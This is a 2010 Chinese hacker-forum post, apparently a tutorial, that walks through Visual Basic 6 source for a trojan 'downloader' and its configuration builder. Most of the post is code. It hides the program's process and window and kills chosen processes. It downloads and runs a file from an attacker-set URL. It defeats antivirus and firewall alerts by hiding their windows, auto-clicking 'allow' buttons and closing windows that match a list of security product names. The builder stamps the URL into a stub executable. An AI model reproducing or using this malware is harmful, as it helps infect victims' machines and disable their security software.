VB简单DIY下载者
本帖最后由 HeavyRiver 于 2010-11-27 17:16 编辑我的BLOG原创地址http://hi.baidu.com/heavyriver/blog/item/06ca5a3f1c1247e514cecb68.html
看到清理公告，表示鸭梨很大。发个贴子凑凑数。
可能大家早先在其他论坛看到了，D.S.T B.H.S.T 都有
这里要说一下 重河=2h0nghe=heavyriver
PS:为啥要HX呢，因为下载者是…………
菜鸟烂文，老鸟勿笑~
2h0ngHe:昨天在暗组某大牛的帮助下，终于写出了个像模像样的下载者生成器。以前也搞过文件尾部写入配置信息，终不如这个方法好（貌似叫偏移写入）
准备工具：VB6.0 UE32 （可以再加个UPX壳儿程序）
一、服务端
服务端是最重要的（虽然生成端也比较难写），服务端决定了你的DOWNER的功能。
1-隐藏
这一点非常重要。分两个步骤：隐藏进程和界面、任务栏
隐藏进程：
首先添加模块：
'省略部分API声明 防止…………
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Public pid
添加过程：
Public Sub MakeMeService()
Dim pid As Long
Dim regserv As Long
pid = GetCurrentProcessId()
regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub
隐藏界面：
这就比较简单了。
Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False
Me.Visible = False
End Sub
2-结束进程
下载者必须结束掉一些麻烦的进程。
添加过程：
Private Sub KillProcess(sProcess As String)
Dim lSnapShot As Long
Dim lNextProcess As Long
Dim tPE As PROCESSENTRY32
lSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&)
If lSnapShot <> -1 Then
tPE.dwSize = Len(tPE)
lNextProcess = Process32First(lSnapShot, tPE)
Do While lNextProcess
If LCase$(sProcess) = LCase$(Left(tPE.szExeFile, InStr(1, tPE.szExeFile, Chr(0)) - 1)) Then
Dim lProcess As Long
Dim lExitCode As Long
lProcess = OpenProcess(1, False, tPE.th32ProcessID)
TerminateProcess lProcess, lExitCode
CloseHandle lProcess
End If
lNextProcess = Process32Next(lSnapShot, tPE)
Loop
CloseHandle (lSnapShot)
End If
End Sub
API声明较多：
'一切为了HX 省略……大家自己查API手册吧！
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapShot As Long, lppe As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapShot As Long, lppe As PROCESSENTRY32) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal blnheritHandle As Long, ByVal dwAppProcessId As Long) As Long
3-下载-核心
下载者的核心代码。
这里用模块实现，比直接用API牛X。
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
On Error Resume Next
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
Call KillProcess("$$$$$$$$$$$$$$$$$$$$$$$$")
Shell "Rundll32.exe url.dll, FileProtocolHandler " & save, vbNormalFocus
End
End If
End Function
FORM1LOAD过程添加代码：
DownloadFile "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@", save
4-对抗firewall
防火墙很麻烦。这里引用了qw22321同学在黑X提供的代码。（是2009的版本，大家可以用2010军刺）
不建议大家添加过多的FIREWALL文件名，明眼人一下看出来了。
代码已经HX.
Dim hwnd As Long, hButton As Long, PID As Long
Dim StrTitle As String * 255, StrClassName As String * 255
Dim AvTitle() As String, AvTitleNum As Integer
Dim AV_Num As Integer, AV_Names() As String
On Error Resume Next
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''killXXXXX
Dim hwnd1 As Long
Dim childhwnd1 As Long
hwnd1 = FindWindow(vbNullString, "XXX")
childhwnd1 = FindWindowEx(hwnd1, 0, "Button", "重启前使用相同的处理方式，不再提示。")
ShowWindow hwnd1, 0
SendMessage childhwnd1, BM_CLICK, 0&, 0&
Dim hwnd2 As Long
Dim childhwnd2 As Long
hwnd2 = FindWindow(vbNullString, "XXX")
childhwnd2 = FindWindowEx(hwnd2, 0, "Button", "#*H14;C0;S100;*#允许 #*H12;C6579300;S000;*# 允许改动此注册表项")
ShowWindow hwnd2, 0
SendMessage childhwnd2, BM_CLICK, 0&, 0&
Dim hwnd3 As Long
Dim childhwnd3 As Long
hwnd3 = FindWindow(vbNullString, "瑞星智能主动防御")
childhwnd3 = FindWindowEx(hwnd3, 0, "Button", vbNullString)
ShowWindow hwnd3, 0
SendMessage childhwnd3, BM_CLICK, 0&, 0&
''''''''''''''对付XXX''''''''''''''''''''''''''''''
hwnd = FindWindow("Afx:400000:0", vbNullString) 'Public Declare Function FindWindow Lib
hButton = FindWindowEx(hwnd, 0, "Button", "确定") 'Public Declare Function FindWindowEx Lib
If hButton <> 0 Then
PostMessage hButton, &HF5, 0, 0 'Public Declare Function PostMessage Lib
End If
''''''''''''''''''''杀死病毒窗口''''''''''''''''
hwnd = GetForegroundWindow '这里想用Enum来做的但是cpu占用率太高了'Public Declare Function GetForegroundWindow Lib _
"user32" () As Long
Call GetWindowText(hwnd, StrTitle, 100) 'Public Declare Function GetWindowText Lib _
"user32" Alias "GetWindowTextA" (ByVal hWnd As Long, _
ByVal lpString As String, ByVal cch As Long) As Long
Call GetClassName(hwnd, StrClassName, 100) 'Public Declare Function GetClassName Lib _
"user32" Alias "GetClassNameA" (ByVal hWnd As Long, _
ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
AvTitle = Split("省略大部分Avp,Rising,JiangMin,SnipeSword,icesword,VirusScan,System Safety Monitor" & ",Symantec AntiVirus,esteem,AV,VK,SREng,Anti,RootKit,Rku,SysSafe,SSM", ",") '注册表,注册表,任务管理器,,Taskmgr先拿出来吧
For AvTitleNum = LBound(AvTitle) To UBound(AvTitle)
If InStr(1, StrTitle, AvTitle(AvTitleNum), 1) > 0 Or InStr(1, StrClassName, AvTitle(AvTitleNum), 1) > 0 Then
ShowWindow hwnd, 0 'Public Declare Function ShowWindow Lib _
"user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
PostMessage hwnd, &H12, 0, 0 ''Public Declare Function PostMessage Lib
PostMessage hwnd, &H10, 0, 0
PostMessage hwnd, &H112, &HF5, ByVal 2
End If
Next AvTitleNum
二、生成端
困惑的很久的地方。
首先需要添加资源文件，不解释。
然后用UE32找到前面### @@@等标识符，在16进制里用00替换掉。找到位置。
Dim f() As Byte
Dim v As Long
Dim l1, l2, l3 As Long
Dim info As Byte
l1 = Len(Text1.Text)
l2 = Len(Text2.Text)
l3 = Len(Text3.Text)
If l1 = 0 Or l2 = 0 Or l3 = 0 Then
MsgBox "请正确输入配置信息", vbCritical, "警告"
Exit Sub
End If
f = LoadResData(101, "CUSTOM")
Open App.Path & "\down.exe" For Binary Access Write As #1
For v = 0 To FILESIZE - 1 '开始输出
Put #1, , f(v)
Next v
Close #1
Dim i, s, m As Long
Open App.Path & "\down.exe" For Binary As #1
s = 0
m = 7328
For i = 1 To l1
Seek #1, m + i + s
s = s + 1
Put #1, , Asc(Mid(Text1.Text, i, 1))
Next i
s = 0
m = 6420
For i = 1 To l2
Seek #1, m + i + s
s = s + 1
Put #1, , Asc(Mid(Text2.Text, i, 1))
Next i
s = 0
m = 7432
For i = 1 To l3
Seek #1, m + i + s
s = s + 1
Put #1, , Asc(Mid(Text3.Text, i, 1))
Next i
Close #1
MsgBox ("生成下载者"), vbOKOnly, "恭喜" '提醒成功
很强大,我想起一个叫中华吸血鬼的东西,据说那玩意的作者小学毕业,然后在睡觉的时候被抓了 看了下，很不错 看不懂。
页:
[1]